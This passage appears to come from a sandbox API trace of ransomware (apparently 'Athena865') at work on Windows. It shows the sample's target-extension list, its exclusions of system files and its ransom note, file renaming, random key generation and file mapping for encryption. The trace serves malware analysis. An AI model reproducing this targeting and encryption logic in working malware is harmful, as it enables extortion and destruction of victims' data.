(lpString1="mui", lpString2="ba_") returned 1 [0097.354] lstrlenW (lpString="dbb") returned 3 [0097.354] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0097.354] lstrlenW (lpString="vmdk") returned 4 [0097.354] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0097.354] lstrlenW (lpString="rar") returned 3 [0097.354] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0097.354] lstrlenW (lpString="zip") returned 3 [0097.354] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0097.354] lstrlenW (lpString="tgz") returned 3 [0097.354] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0097.355] lstrlenW (lpString="vbox") returned 4 [0097.355] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0097.355] lstrlenW (lpString="vdi") returned 3 [0097.355] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0097.355] lstrlenW (lpString="vhd") returned 3 [0097.355] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0097.355] lstrlenW (lpString="vhdx") returned 4 [0097.355] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0097.355] lstrlenW (lpString="avhd") returned 4 [0097.355] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0097.355] lstrlenW (lpString="db") returned 2 [0097.355] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0097.355] lstrlenW (lpString="db2") returned 3 [0097.355] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0097.355] lstrlenW (lpString="db3") returned 3 [0097.355] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0097.355] lstrlenW (lpString="dbf") returned 3 [0097.355] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0097.355] lstrlenW (lpString="mdf") returned 3 [0097.355] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0097.355] lstrlenW (lpString="mdb") returned 3 [0097.355] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0097.355] lstrlenW (lpString="sql") returned 3 [0097.355] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0097.355] lstrlenW (lpString="sqlite") returned 6 [0097.355] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0097.355] lstrlenW (lpString="sqlite3") returned 7 [0097.355] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0097.355] lstrlenW (lpString="sqlitedb") returned 8 [0097.355] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0097.355] lstrlenW (lpString="xml") returned 3 [0097.355] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0097.356] lstrlenW (lpString="$er") returned 3 [0097.356] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0097.356] lstrlenW (lpString="4dd") returned 3 [0097.356] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0097.356] lstrlenW (lpString="4dl") returned 3 [0097.356] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0097.356] lstrlenW (lpString="^^^") returned 3 [0097.356] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0097.356] lstrlenW (lpString="abs") returned 3 [0097.356] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0097.356] lstrlenW (lpString="abx") returned 3 [0097.356] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0097.356] lstrlenW (lpString="accdb") returned 5 [0097.356] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0097.356] lstrlenW (lpString="accdc") returned 5 [0097.356] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0097.356] lstrlenW (lpString="accde") returned 5 [0097.356] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0097.356] lstrlenW (lpString="accdr") returned 5 [0097.356] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0097.356] lstrlenW (lpString="accdt") returned 5 [0097.356] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0097.356] lstrlenW (lpString="accdw") returned 5 [0097.356] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0097.356] lstrlenW (lpString="accft") returned 5 [0097.356] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0097.356] lstrlenW (lpString="adb") returned 3 [0097.356] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0097.356] lstrlenW (lpString="adb") returned 3 [0097.356] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0097.356] lstrlenW (lpString="ade") returned 3 [0097.356] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0097.357] lstrlenW (lpString="adf") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0097.357] lstrlenW (lpString="adn") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0097.357] lstrlenW (lpString="adp") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0097.357] lstrlenW (lpString="alf") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0097.357] lstrlenW (lpString="ask") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0097.357] lstrlenW (lpString="btr") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0097.357] lstrlenW (lpString="cat") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0097.357] lstrlenW (lpString="cdb") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0097.357] lstrlenW (lpString="ckp") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0097.357] lstrlenW (lpString="cma") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0097.357] lstrlenW (lpString="cpd") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0097.357] lstrlenW (lpString="dacpac") returned 6 [0097.357] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0097.357] lstrlenW (lpString="dad") returned 3 [0097.357] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0097.357] lstrlenW (lpString="dadiagrams") returned 10 [0097.357] lstrcmpiW (lpString1="es.exe.mui", lpString2="dadiagrams") returned 1 [0097.357] lstrlenW (lpString="daschema") returned 8 [0097.357] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0097.357] lstrlenW (lpString="db-journal") returned 10 [0097.357] lstrcmpiW (lpString1="es.exe.mui", lpString2="db-journal") returned 1 [0097.358] lstrlenW (lpString="db-shm") returned 6 [0097.358] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0097.358] lstrlenW (lpString="db-wal") returned 6 [0097.358] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0097.358] lstrlenW (lpString="dbc") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0097.358] lstrlenW (lpString="dbs") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0097.358] lstrlenW (lpString="dbt") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0097.358] lstrlenW (lpString="dbv") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0097.358] lstrlenW (lpString="dbx") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0097.358] lstrlenW (lpString="dcb") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0097.358] lstrlenW (lpString="dct") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0097.358] lstrlenW (lpString="dcx") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0097.358] lstrlenW (lpString="ddl") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0097.358] lstrlenW (lpString="dlis") returned 4 [0097.358] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0097.358] lstrlenW (lpString="dp1") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0097.358] lstrlenW (lpString="dqy") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0097.358] lstrlenW (lpString="dsk") returned 3 [0097.358] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0097.358] lstrlenW (lpString="dsn") returned 3 [0097.359] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0097.359] lstrlenW (lpString="dtsx") returned 4 [0097.359] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0097.359] lstrlenW (lpString="dxl") returned 3 [0097.359] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0097.359] lstrlenW (lpString="eco") returned 3 [0097.359] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0097.359] lstrlenW (lpString="ecx") returned 3 [0097.359] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0097.359] lstrlenW (lpString="edb") returned 3 [0097.359] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0097.359] lstrlenW (lpString="epim") returned 4 [0097.359] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0097.359] lstrlenW (lpString="fcd") returned 3 [0097.359] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0097.359] lstrlenW (lpString="fdb") returned 3 [0097.359] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0097.359] lstrlenW (lpString="fic") returned 3 [0097.359] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0097.359] lstrlenW (lpString="flexolibrary") returned 12 [0097.359] lstrcmpiW (lpString1="ices.exe.mui", lpString2="flexolibrary") returned 1 [0097.359] lstrlenW (lpString="fm5") returned 3 [0097.359] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0097.359] lstrlenW (lpString="fmp") returned 3 [0097.359] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0097.359] lstrlenW (lpString="fmp12") returned 5 [0097.359] lstrcmpiW (lpString1="e.mui", lpString2="fmp12") returned -1 [0097.359] lstrlenW (lpString="fmpsl") returned 5 [0097.359] lstrcmpiW (lpString1="e.mui", lpString2="fmpsl") returned -1 [0097.359] lstrlenW (lpString="fol") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0097.360] lstrlenW (lpString="fp3") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0097.360] lstrlenW (lpString="fp4") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0097.360] lstrlenW (lpString="fp5") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0097.360] lstrlenW (lpString="fp7") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0097.360] lstrlenW (lpString="fpt") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0097.360] lstrlenW (lpString="frm") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0097.360] lstrlenW (lpString="gdb") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0097.360] lstrlenW (lpString="gdb") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0097.360] lstrlenW (lpString="grdb") returned 4 [0097.360] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0097.360] lstrlenW (lpString="gwi") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0097.360] lstrlenW (lpString="hdb") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0097.360] lstrlenW (lpString="his") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0097.360] lstrlenW (lpString="ib") returned 2 [0097.360] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0097.360] lstrlenW (lpString="idb") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0097.360] lstrlenW (lpString="ihx") returned 3 [0097.360] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0097.360] lstrlenW (lpString="itdb") returned 4 [0097.361] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0097.361] lstrlenW (lpString="itw") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0097.361] lstrlenW (lpString="jet") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0097.361] lstrlenW (lpString="jtx") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0097.361] lstrlenW (lpString="kdb") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0097.361] lstrlenW (lpString="kexi") returned 4 [0097.361] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0097.361] lstrlenW (lpString="kexic") returned 5 [0097.361] lstrcmpiW (lpString1="e.mui", lpString2="kexic") returned -1 [0097.361] lstrlenW (lpString="kexis") returned 5 [0097.361] lstrcmpiW (lpString1="e.mui", lpString2="kexis") returned -1 [0097.361] lstrlenW (lpString="lgc") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0097.361] lstrlenW (lpString="lwx") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0097.361] lstrlenW (lpString="maf") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0097.361] lstrlenW (lpString="maq") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0097.361] lstrlenW (lpString="mar") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0097.361] lstrlenW (lpString="marshal") returned 7 [0097.361] lstrcmpiW (lpString1="exe.mui", lpString2="marshal") returned -1 [0097.361] lstrlenW (lpString="mas") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0097.361] lstrlenW (lpString="mav") returned 3 [0097.361] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0097.361] lstrlenW (lpString="maw") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0097.362] lstrlenW (lpString="mdbhtml") returned 7 [0097.362] lstrcmpiW (lpString1="exe.mui", lpString2="mdbhtml") returned -1 [0097.362] lstrlenW (lpString="mdn") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0097.362] lstrlenW (lpString="mdt") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0097.362] lstrlenW (lpString="mfd") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0097.362] lstrlenW (lpString="mpd") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0097.362] lstrlenW (lpString="mrg") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0097.362] lstrlenW (lpString="mud") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0097.362] lstrlenW (lpString="mwb") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0097.362] lstrlenW (lpString="myd") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0097.362] lstrlenW (lpString="ndf") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0097.362] lstrlenW (lpString="nnt") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0097.362] lstrlenW (lpString="nrmlib") returned 6 [0097.362] lstrcmpiW (lpString1="xe.mui", lpString2="nrmlib") returned 1 [0097.362] lstrlenW (lpString="ns2") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0097.362] lstrlenW (lpString="ns3") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0097.362] lstrlenW (lpString="ns4") returned 3 [0097.362] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0097.362] lstrlenW (lpString="nsf") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0097.363] lstrlenW (lpString="nv") returned 2 [0097.363] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0097.363] lstrlenW (lpString="nv2") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0097.363] lstrlenW (lpString="nwdb") returned 4 [0097.363] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0097.363] lstrlenW (lpString="nyf") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0097.363] lstrlenW (lpString="odb") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0097.363] lstrlenW (lpString="odb") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0097.363] lstrlenW (lpString="oqy") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0097.363] lstrlenW (lpString="ora") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0097.363] lstrlenW (lpString="orx") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0097.363] lstrlenW (lpString="owc") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0097.363] lstrlenW (lpString="p96") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0097.363] lstrlenW (lpString="p97") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0097.363] lstrlenW (lpString="pan") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0097.363] lstrlenW (lpString="pdb") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0097.363] lstrlenW (lpString="pdm") returned 3 [0097.363] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0097.363] lstrlenW (lpString="pnz") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0097.364] lstrlenW (lpString="qry") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0097.364] lstrlenW (lpString="qvd") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0097.364] lstrlenW (lpString="rbf") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0097.364] lstrlenW (lpString="rctd") returned 4 [0097.364] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0097.364] lstrlenW (lpString="rod") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0097.364] lstrlenW (lpString="rodx") returned 4 [0097.364] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0097.364] lstrlenW (lpString="rpd") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0097.364] lstrlenW (lpString="rsd") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0097.364] lstrlenW (lpString="sas7bdat") returned 8 [0097.364] lstrcmpiW (lpString1=".exe.mui", lpString2="sas7bdat") returned -1 [0097.364] lstrlenW (lpString="sbf") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0097.364] lstrlenW (lpString="scx") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0097.364] lstrlenW (lpString="sdb") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0097.364] lstrlenW (lpString="sdc") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0097.364] lstrlenW (lpString="sdf") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0097.364] lstrlenW (lpString="sis") returned 3 [0097.364] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0097.364] lstrlenW (lpString="spq") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0097.365] lstrlenW (lpString="te") returned 2 [0097.365] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0097.365] lstrlenW (lpString="teacher") returned 7 [0097.365] lstrcmpiW (lpString1="exe.mui", lpString2="teacher") returned -1 [0097.365] lstrlenW (lpString="tmd") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0097.365] lstrlenW (lpString="tps") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0097.365] lstrlenW (lpString="trc") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0097.365] lstrlenW (lpString="trc") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0097.365] lstrlenW (lpString="trm") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0097.365] lstrlenW (lpString="udb") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0097.365] lstrlenW (lpString="udl") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0097.365] lstrlenW (lpString="usr") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0097.365] lstrlenW (lpString="v12") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0097.365] lstrlenW (lpString="vis") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0097.365] lstrlenW (lpString="vpd") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0097.365] lstrlenW (lpString="vvv") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0097.365] lstrlenW (lpString="wdb") returned 3 [0097.365] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0097.365] lstrlenW (lpString="wmdb") returned 4 [0097.366] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0097.366] lstrlenW (lpString="wrk") returned 3 [0097.366] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0097.366] lstrlenW (lpString="xdb") returned 3 [0097.366] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0097.366] lstrlenW (lpString="xld") returned 3 [0097.366] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0097.366] lstrlenW (lpString="xmlff") returned 5 [0097.366] lstrcmpiW (lpString1="e.mui", lpString2="xmlff") returned -1 [0097.366] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui.Athena865") returned 82 [0097.366] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\imagingdevices.exe.mui"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\imagingdevices.exe.mui.athena865"), dwFlags=0x1) returned 1 [0097.367] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us\\imagingdevices.exe.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0097.367] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2560) returned 1 [0097.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0097.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0097.367] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0097.368] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.368] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.368] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x17c [0097.431] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0097.438] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0097.440] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.440] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0097.440] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0097.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0097.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0097.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0097.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0097.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0097.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.442] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.442] CloseHandle (hObject=0x17c) returned 1 [0097.442] CloseHandle (hObject=0x154) returned 1 [0097.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0097.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0097.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.442] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2=".") returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="..") returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="windows") returned -1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="bootmgr") returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="temp") returned -1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="pagefile.sys") returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="boot") returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="ids.txt") returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="ntuser.dat") returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="perflogs") returned 1 [0097.442] lstrcmpiW (lpString1="PhotoAcq.dll.mui", lpString2="MSBuild") returned 1 [0097.443] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0097.443] lstrcpyW (in: lpString1=0x241e8ac, 